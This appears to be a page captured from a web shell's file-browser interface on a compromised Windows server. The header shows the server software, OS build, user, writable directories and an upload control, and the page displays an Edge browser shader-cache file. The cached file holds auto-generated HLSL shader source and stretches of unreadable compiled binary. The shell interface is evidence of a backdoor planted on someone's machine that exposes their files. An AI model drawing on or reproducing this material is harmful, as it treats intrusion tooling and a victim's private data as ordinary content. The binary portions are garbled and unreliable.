KGRKJGETMRETU895U-589TY5MIGM5JGB5SDFESFREWTGR54TY
Server : Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12
System : Windows NT SERVER-PC 10.0 build 26200 (Windows 11) AMD64
User : ServerPC ( 0)
PHP Version : 8.2.12
Disable Function : NONE
Directory :  C:/Users/ServerPC/AppData/Local/Microsoft/Edge/User Data/GrShaderCache/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : C:/Users/ServerPC/AppData/Local/Microsoft/Edge/User Data/GrShaderCache/f_000020
BPLG���O7b91a100de0b5ad2ndANGLE (NVIDIA, NVIDIA GeForce GTX 1080 Ti (0x00001B06) Direct3D11 vs_5_0 ps_5_0, D3D11-32.0.15.6614)��




������������������,,
fillBounds_ufillBoundsR�affineMatrix_uaffineMatrixR�	translate_utranslateP�color_ucolorR�	locations_ulocationsR�gl_VertexIDgl_VertexID
������������������	���������������������������������������������������������������	������������������*����������*����������sk_RTAdjustuatlas_adjust_S0umatrix_S1_c0_c0_c1
u_skRTFlipuscale_S1_c0_c0_c0_c0[0]ubias_S1_c0_c0_c0_c0[0]uthreshold_S1_c0_c0_c0_c0uleftBorderColor_S1_c0_c0urightBorderColor_S1_c0_c0
umatrix_S1_c1	urange_S1uTextureSampler_0_S0uTextureSampler_0_S1
_usk_RTAdjust_uuatlas_adjust_S0_uumatrix_S1_c0_c0_c1_uu_skRTFlip_uuscale_S1_c0_c0_c0_c0[0]_uubias_S1_c0_c0_c0_c0[0]_uuthreshold_S1_c0_c0_c0_c0_uuleftBorderColor_S1_c0_c0_uurightBorderColor_S1_c0_c0_uumatrix_S1_c1_uurange_S1_uuTextureSampler_0_S0_uuTextureSampler_0_S1	
sk_FragColor_usk_FragColorR�@^�^��C������������������������������������������<<
���������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������struct VS_OUTPUT
{
    float4 dx_Position : SV_Position;
    float4 gl_Position : TEXCOORD3;
    float4 gl_FragCoord : TEXCOORD4;
    noperspective float4 v0 : TEXCOORD0;
    noperspective float2 v1 : TEXCOORD1;
    noperspective float2 v2 : TEXCOORD2;
};
#pragma warning( disable: 3556 3571 )
float float_ctor_int(int x0)
{
    return float(x0);
}
float2 vec2_ctor(float x0, float x1)
{
    return float2(x0, x1);
}
float2x2 mat2_ctor(float2 x0, float2 x1)
{
    return float2x2(x0, x1);
}
float3 vec3_ctor(float2 x0, float x1)
{
    return float3(x0, x1);
}
float3x2 mat3x2_ctor(float3x3 x0)
{
    return float3x2(x0[0][0], x0[0][1], x0[1][0], x0[1][1], x0[2][0], x0[2][1]);
}
float4 vec4_ctor(float2 x0, float x1, float x2)
{
    return float4(x0, x1, x2);
}
// Uniforms

uniform float4 _sk_RTAdjust : register(c1);
uniform float2 _uatlas_adjust_S0 : register(c2);
uniform float3x3 _umatrix_S1_c0_c0_c1 : register(c3);
#ifdef ANGLE_ENABLE_LOOP_FLATTEN
#define LOOP [loop]
#define FLATTEN [flatten]
#else
#define LOOP
#define FLATTEN
#endif

#define ATOMIC_COUNTER_ARRAY_STRIDE 4

// Attributes
static float4 _fillBounds = {0, 0, 0, 0};
static float4 _affineMatrix = {0, 0, 0, 0};
static float2 _translate = {0, 0};
static float4 _color = {0, 0, 0, 0};
static float4 _locations = {0, 0, 0, 0};

static float4 gl_Position = float4(0, 0, 0, 0);
static int gl_VertexID;

// Varyings
static noperspective float2 _vatlasCoord_S0 = {0, 0};
static noperspective float4 _vcolor_S0 = {0, 0, 0, 0};
static noperspective float2 _vTransformedCoords_7_S0 = {0, 0};

cbuffer DriverConstants : register(b1)
{
    float4 dx_ViewAdjust : packoffset(c1);
    float2 dx_ViewCoords : packoffset(c2);
    float2 dx_ViewScale  : packoffset(c3);
    float clipControlOrigin : packoffset(c3.z);
    float clipControlZeroToOne : packoffset(c3.w);
    uint dx_VertexID : packoffset(c4.x);
};

#define GL_USES_VERTEX_ID
float2x2 inverse_emu(in float2x2 m)
{
    float2x2 cof = { m[1][1], -m[0][1], -m[1][0], m[0][0] };
    return cof / determinant(transpose(m));
}


@@ VERTEX ATTRIBUTES @@

VS_OUTPUT generateOutput(VS_INPUT input)
{
    VS_OUTPUT output;
    output.gl_Position = gl_Position;
    output.dx_Position.x = gl_Position.x;
    output.dx_Position.y = clipControlOrigin * gl_Position.y;
    if (clipControlZeroToOne)
    {
        output.dx_Position.z = gl_Position.z;
    } else {
        output.dx_Position.z = (gl_Position.z + gl_Position.w) * 0.5;
    }
    output.dx_Position.w = gl_Position.w;
    output.gl_FragCoord = gl_Position;
    output.v0 = _vcolor_S0;
    output.v1 = _vatlasCoord_S0;
    output.v2 = _vTransformedCoords_7_S0;

    return output;
}

VS_OUTPUT main(VS_INPUT input){
    initAttributes(input);

float2 _unitCoord2569 = vec2_ctor(float_ctor_int((gl_VertexID & 1)), float_ctor_int((gl_VertexID >> 1)));
float2 _devCoord2570 = lerp(_fillBounds.xy, _fillBounds.zw, _unitCoord2569);
float2x2 _M2571 = mat2_ctor(_affineMatrix.xy, _affineMatrix.zw);
float2 _localCoord2572 = mul(transpose(inverse_emu(_M2571)), (_devCoord2570 - _translate));
float2 _atlasTopLeft2573 = vec2_ctor((abs(_locations.x) - 1.0), _locations.y);
float2 _devTopLeft2574 = _locations.zw;
bool _transposed2575 = (_locations.x < 0.0);
float2 _atlasCoord2576 = (_devCoord2570 - _devTopLeft2574);
if (_transposed2575)
{
(_atlasCoord2576 = _atlasCoord2576.yx);
}
(_atlasCoord2576 += _atlasTopLeft2573);
(_vatlasCoord_S0 = (_atlasCoord2576 * _uatlas_adjust_S0));
(_vcolor_S0 = _color);
(gl_Position = vec4_ctor(_devCoord2570, 0.0, 1.0));
{
(_vTransformedCoords_7_S0 = mul(transpose(mat3x2_ctor(_umatrix_S1_c0_c0_c1)), vec3_ctor(_localCoord2572, 1.0)));
}
(gl_Position = vec4_ctor(((gl_Position.xy * _sk_RTAdjust.xz) + (gl_Position.ww * _sk_RTAdjust.yw)), 0.0, gl_Position.w));
return generateOutput(input);
}
Mstruct PS_INPUT
{
    float4 dx_Position : SV_Position;
    float4 gl_Position : TEXCOORD3;
    float4 gl_FragCoord : TEXCOORD4;
    noperspective float4 v0 : TEXCOORD0;
    noperspective float2 v1 : TEXCOORD1;
    noperspective float2 v2 : TEXCOORD2;
};

#pragma warning( disable: 3556 3571 )
float2 vec2_ctor(float x0, float x1)
{
    return float2(x0, x1);
}
float3 vec3_ctor(float2 x0, float x1)
{
    return float3(x0, x1);
}
float3x2 mat3x2_ctor(float3x3 x0)
{
    return float3x2(x0[0][0], x0[0][1], x0[1][0], x0[1][1], x0[2][0], x0[2][1]);
}
float4 vec4_ctor(float x0, float x1, float x2, float x3)
{
    return float4(x0, x1, x2, x3);
}
float4 vec4_ctor(float3 x0, float x1)
{
    return float4(x0, x1);
}
// Uniforms

uniform float2 _u_skRTFlip : register(c0);
uniform float4 _uscale_S1_c0_c0_c0_c0[2] : register(c1);
uniform float4 _ubias_S1_c0_c0_c0_c0[2] : register(c3);
uniform float _uthreshold_S1_c0_c0_c0_c0 : register(c5);
uniform float4 _uleftBorderColor_S1_c0_c0 : register(c6);
uniform float4 _urightBorderColor_S1_c0_c0 : register(c7);
uniform float3x3 _umatrix_S1_c1 : register(c8);
uniform float _urange_S1 : register(c11);
static const uint _uTextureSampler_0_S0 = 0;
static const uint _uTextureSampler_0_S1 = 1;
uniform Texture2D<float4> textures2D[2] : register(t0);
uniform SamplerState samplers2D[2] : register(s0);
#ifdef ANGLE_ENABLE_LOOP_FLATTEN
#define LOOP [loop]
#define FLATTEN [flatten]
#else
#define LOOP
#define FLATTEN
#endif

#define ATOMIC_COUNTER_ARRAY_STRIDE 4

// Varyings
static noperspective float2 _vatlasCoord_S0 = {0, 0};
static noperspective float4 _vcolor_S0 = {0, 0, 0, 0};
static noperspective float2 _vTransformedCoords_7_S0 = {0, 0};

static float4 out_sk_FragColor = {0, 0, 0, 0};
static float4 gl_FragCoord = float4(0, 0, 0, 0);

cbuffer DriverConstants : register(b1)
{
    float4 dx_ViewCoords : packoffset(c1);
    float2 dx_FragCoordOffset : packoffset(c3);
    float3 dx_DepthFront : packoffset(c2);
    float2 dx_ViewScale : packoffset(c3.z);
    uint dx_Misc : packoffset(c2.w);
    struct SamplerMetadata
    {
        int baseLevel;
        int wrapModes;
        int2 padding;
        int4 intBorderColor;
    };
    SamplerMetadata samplerMetadata[2] : packoffset(c4);
};

float4 gl_texture2D(uint samplerIndex, float2 t, float bias)
{
    return textures2D[samplerIndex].SampleBias(samplers2D[samplerIndex], float2(t.x, t.y), bias);
}

#define GL_USES_FRAG_COORD
@@ PIXEL OUTPUT @@

PS_OUTPUT main(PS_INPUT input){
    float rhw = 1.0 / input.gl_FragCoord.w;
    gl_FragCoord.x = input.dx_Position.x - dx_FragCoordOffset.x;
    gl_FragCoord.y = input.dx_Position.y - dx_FragCoordOffset.y;
    gl_FragCoord.z = input.dx_Position.z;
    gl_FragCoord.w = rhw;
    _vcolor_S0 = input.v0;
    _vatlasCoord_S0 = input.v1.xy;
    _vTransformedCoords_7_S0 = input.v2.xy;

float4 _sk_FragCoord2573 = vec4_ctor(gl_FragCoord.x, (_u_skRTFlip.x + (_u_skRTFlip.y * gl_FragCoord.y)), gl_FragCoord.z, gl_FragCoord.w);
float4 _outputCoverage_S02574 = {1.0, 1.0, 1.0, 1.0};
float _atlasCoverage2575 = gl_texture2D(_uTextureSampler_0_S0, _vatlasCoord_S0, -0.5).x;
(_outputCoverage_S02574 *= _atlasCoverage2575);
float4 _outputColor_S02576 = _vcolor_S0;
float4 __40_tmp_6_inColor2577 = _outputColor_S02576;
float4 __41_input2578 = __40_tmp_6_inColor2577;
float2 __44_tmp_3_coords2579 = _vTransformedCoords_7_S0;
float4 __45_t2580 = vec4_ctor((__44_tmp_3_coords2579.x + 9.9999997e-06), 1.0, 0.0, 0.0);
float4 __46_outColor2581 = {0, 0, 0, 0};
if ((__45_t2580.x < 0.0))
{
(__46_outColor2581 = _uleftBorderColor_S1_c0_c0);
}
else
{
if ((__45_t2580.x > 1.0))
{
(__46_outColor2581 = _urightBorderColor_S1_c0_c0);
}
else
{
float2 __48_tmp_1_coords2582 = vec2_ctor(__45_t2580.x, 0.0);
float __49_t2583 = __48_tmp_1_coords2582.x;
float4 __50_s2584 = {0, 0, 0, 0};
float4 __51_b2585 = {0, 0, 0, 0};
if ((__49_t2583 < _uthreshold_S1_c0_c0_c0_c0))
{
(__50_s2584 = _uscale_S1_c0_c0_c0_c0[0]);
(__51_b2585 = _ubias_S1_c0_c0_c0_c0[0]);
}
else
{
(__50_s2584 = _uscale_S1_c0_c0_c0_c0[1]);
(__51_b2585 = _ubias_S1_c0_c0_c0_c0[1]);
}
float4 __52_color2586 = ((__49_t2583 * __50_s2584) + __51_b2585);
(__52_color2586.xyz *= __52_color2586.w);
(__46_outColor2581 = __52_color2586);
}
}
(__41_input2578 = __46_outColor2581);
float4 __54_color2587 = __41_input2578;
float __55_value2588 = (gl_texture2D(_uTextureSampler_0_S1, mul(transpose(mat3x2_ctor(_umatrix_S1_c1)), vec3_ctor(_sk_FragCoord2573.xy, 1.0)), -0.5).x - 0.5);
float4 _output_S12589 = vec4_ctor(clamp((__54_color2587.xyz + (__55_value2588 * _urange_S1)), 0.0, __54_color2587.w), __54_color2587.w);
{
(out_sk_FragColor = (_output_S12589 * _outputCoverage_S02574));
}
return generateOutput();
}
R�out_sk_FragColorout_sk_FragColorostruct GS_INPUT
{
    float4 dx_Position : SV_Position;
    float4 gl_Position : TEXCOORD3;
    float4 gl_FragCoord : TEXCOORD4;
    noperspective float4 v0 : TEXCOORD0;
    noperspective float2 v1 : TEXCOORD1;
    noperspective float2 v2 : TEXCOORD2;
};

struct GS_OUTPUT
{
    float4 dx_Position : SV_Position;
    float4 gl_Position : TEXCOORD3;
    float4 gl_FragCoord : TEXCOORD4;
    noperspective float4 v0 : TEXCOORD0;
    noperspective float2 v1 : TEXCOORD1;
    noperspective float2 v2 : TEXCOORD2;
};

void copyVertex(inout GS_OUTPUT output, GS_INPUT input, GS_INPUT flatinput)
{
    output.gl_Position = input.gl_Position;
    output.v0 = input.v0; 
    output.v1 = input.v1; 
    output.v2 = input.v2; 
    output.gl_FragCoord = input.gl_FragCoord;
#ifndef ANGLE_POINT_SPRITE_SHADER
    output.dx_Position = input.dx_Position;
#endif  // ANGLE_POINT_SPRITE_SHADER
}
�������
DXBC6!0��)�9ɐ�ɽ���
4�t
RDEF��<����RD11< ($|�$GlobalsDriverConstants���|�`��P@T��������x ����������0,���������_sk_RTAdjustfloat4M_uatlas_adjust_S0float2����_umatrix_S1_c0_c0_c1float3x3����T��������� ���������0���������80��������T<0��������i@|��������dx_ViewAdjustdx_ViewCoordsdx_ViewScaleclipControlOriginfloat���'clipControlZeroToOnedx_VertexIDdword�uMicrosoft (R) HLSL Shader Compiler 10.1ISGN�������TEXCOORDSV_VertexID���OSGN�������SV_PositionTEXCOORD���SHEX�P$jYF� YF� _�_�_2_�_�`g� e� e� e� e2 e� h9@:� 7	B 
@@?

� "
@*
@+22F�A�2	2FFF22F�� օ 8" *� 6�@�?6� 6� F6� F6� F�V��A2FF�A1
@7	���
��@��6"��82 �
F� 8B*2
B
:*�A8
�v@�?�����?�F�
�F"�F6B@�?B F� F� F� F>STAT�!��DXBC�\W�W� 4򡏆LWH��4p(\RDEF4P<���RD11< ($�
����
&����
4=samplers2D[0]samplers2D[1]textures2D[0]textures2D[1]$GlobalsDriverConstants���4��=d������������ ��������<0 T��������xP����������`���������p����������,4��������X����������_u_skRTFlipfloat2��_uscale_S1_c0_c0_c0_c0float4��_ubias_S1_c0_c0_c0_c0��_uthreshold_S1_c0_c0_c0_c0float����_uleftBorderColor_S1_c0_c0�_urightBorderColor_S1_c0_c0_umatrix_S1_c1float3x3+_urange_S1�T���������b0���������u ����������8����������,����������@@���������dx_ViewCoordsdx_FragCoordOffsetdx_DepthFrontfloat3���dx_ViewScaledx_Miscdword��samplerMetadataSamplerMetadatabaseLevelint��wrapModespaddingint2�VintBorderColorint4� D N\���Microsoft (R) HLSL Shader Compiler 10.1ISGN�������SV_PositionTEXCOORD���OSGN, SV_TARGET��SHEX�P�jYF� YF� Z`Z`XpUUXpUUd 2b 2b Be� h6�@�?	2FF� �A2B� 
� F� �"F� 	�J���CUFF~`@�
@�"*@��'71B
� 7��
F� F� 7��
F� F� 2	�VFF8r�F1B@�?1"@7
��
F� F7
�VF� F2
r� F4
rF@3r�FJ���CUFF~`@�8� F>STAT�

Anon7 - 2021